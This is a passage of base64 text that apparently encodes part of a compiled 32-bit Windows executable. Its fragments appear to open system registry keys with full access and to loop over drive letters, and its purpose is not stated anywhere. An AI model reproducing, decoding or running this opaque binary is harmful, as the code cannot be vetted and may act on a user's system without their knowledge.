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 